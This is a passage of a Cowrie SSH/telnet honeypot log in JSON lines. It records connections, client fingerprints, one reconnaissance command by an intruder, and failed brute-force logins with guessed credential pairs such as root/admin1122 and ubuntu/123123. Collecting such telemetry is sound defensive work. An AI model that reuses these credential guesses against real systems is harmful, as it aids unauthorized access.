{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:04.519004Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:04.610831Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:04.616453Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.0699942111969,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:13.221563Z","src_ip":"104.245.105.2","session":"456aaa77a67f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":55412,"dst_ip":"10.17.0.5","dst_port":22,"session":"68867a754168","protocol":"ssh","message":"New connection: 152.32.238.146:55412 (10.17.0.5:22) [session: 68867a754168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:20.426142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:20.431197Z","src_ip":"152.32.238.146","session":"68867a754168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:20.442687Z","src_ip":"152.32.238.146","session":"68867a754168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1122","message":"login attempt [root/admin1122] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:20.528494Z","src_ip":"152.32.238.146","session":"68867a754168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:21.546396Z","src_ip":"152.32.238.146","session":"68867a754168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":54138,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca63d8c955f7","protocol":"telnet","message":"New connection: 20.123.41.163:54138 (10.17.0.5:23) [session: ca63d8c955f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:22.428943Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":36792,"dst_ip":"10.17.0.5","dst_port":23,"session":"57cab21de789","protocol":"telnet","message":"New connection: 104.245.105.2:36792 (10.17.0.5:23) [session: 57cab21de789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:27.405237Z"}
{"eventid":"cowrie.session.closed","duration":11.552197217941284,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:33.981011Z","src_ip":"20.123.41.163","session":"ca63d8c955f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":41336,"dst_ip":"10.17.0.5","dst_port":22,"session":"a243c6e6c86f","protocol":"ssh","message":"New connection: 103.143.231.102:41336 (10.17.0.5:22) [session: a243c6e6c86f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:34.787009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:34.793203Z","src_ip":"103.143.231.102","session":"a243c6e6c86f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:34.862027Z","src_ip":"103.143.231.102","session":"a243c6e6c86f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pdq466z7","message":"login attempt [admin/pdq466z7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:35.168552Z","src_ip":"103.143.231.102","session":"a243c6e6c86f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:36.240555Z","src_ip":"103.143.231.102","session":"a243c6e6c86f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":39346,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa8ab5eeb8bb","protocol":"ssh","message":"New connection: 46.24.47.94:39346 (10.17.0.5:22) [session: aa8ab5eeb8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:36.534872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:36.543308Z","src_ip":"46.24.47.94","session":"aa8ab5eeb8bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:36.651982Z","src_ip":"46.24.47.94","session":"aa8ab5eeb8bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mike","message":"login attempt [root/mike] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:37.114503Z","src_ip":"46.24.47.94","session":"aa8ab5eeb8bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:38.226433Z","src_ip":"46.24.47.94","session":"aa8ab5eeb8bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":54572,"dst_ip":"10.17.0.5","dst_port":22,"session":"2686808dda59","protocol":"ssh","message":"New connection: 45.144.233.139:54572 (10.17.0.5:22) [session: 2686808dda59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:41.835997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:41.840965Z","src_ip":"45.144.233.139","session":"2686808dda59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:41.927916Z","src_ip":"45.144.233.139","session":"2686808dda59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"asdf1234","message":"login attempt [admin/asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:42.305587Z","src_ip":"45.144.233.139","session":"2686808dda59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:43.394881Z","src_ip":"45.144.233.139","session":"2686808dda59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.243478775024414,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:03.648627Z","src_ip":"104.245.105.2","session":"57cab21de789","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":54888,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d01ae85df50","protocol":"ssh","message":"New connection: 152.32.238.146:54888 (10.17.0.5:22) [session: 8d01ae85df50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:06.212962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:06.218642Z","src_ip":"152.32.238.146","session":"8d01ae85df50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:06.233504Z","src_ip":"152.32.238.146","session":"8d01ae85df50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123123","message":"login attempt [ubuntu/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:06.320142Z","src_ip":"152.32.238.146","session":"8d01ae85df50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:07.334736Z","src_ip":"152.32.238.146","session":"8d01ae85df50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":51254,"dst_ip":"10.17.0.5","dst_port":23,"session":"739cb83fa6a9","protocol":"telnet","message":"New connection: 20.123.41.163:51254 (10.17.0.5:23) [session: 739cb83fa6a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:10.255693Z"}
{"eventid":"cowrie.session.closed","duration":5.63718056678772,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:15.892698Z","src_ip":"20.123.41.163","session":"739cb83fa6a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":35230,"dst_ip":"10.17.0.5","dst_port":22,"session":"34128f46ae34","protocol":"ssh","message":"New connection: 209.99.189.177:35230 (10.17.0.5:22) [session: 34128f46ae34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:25.598660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:25.603058Z","src_ip":"209.99.189.177","session":"34128f46ae34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:25.731350Z","src_ip":"209.99.189.177","session":"34128f46ae34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wp-user","password":"123","message":"login attempt [wp-user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:26.271225Z","src_ip":"209.99.189.177","session":"34128f46ae34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:27.401016Z","src_ip":"209.99.189.177","session":"34128f46ae34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.64.168.136","src_port":43108,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ca1bea4cd19","protocol":"ssh","message":"New connection: 143.64.168.136:43108 (10.17.0.5:22) [session: 2ca1bea4cd19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:28.533993Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":53460,"dst_ip":"10.17.0.5","dst_port":23,"session":"dff43fd45b89","protocol":"telnet","message":"New connection: 20.123.41.163:53460 (10.17.0.5:23) [session: dff43fd45b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:28.914973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:29.500813Z","src_ip":"143.64.168.136","session":"2ca1bea4cd19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:29.505014Z","src_ip":"143.64.168.136","session":"2ca1bea4cd19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password","message":"login attempt [ubuntu/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:30.522224Z","src_ip":"143.64.168.136","session":"2ca1bea4cd19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":57916,"dst_ip":"10.17.0.5","dst_port":22,"session":"d16c65d626d7","protocol":"ssh","message":"New connection: 103.143.231.102:57916 (10.17.0.5:22) [session: d16c65d626d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:33.115553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:33.120787Z","src_ip":"103.143.231.102","session":"d16c65d626d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2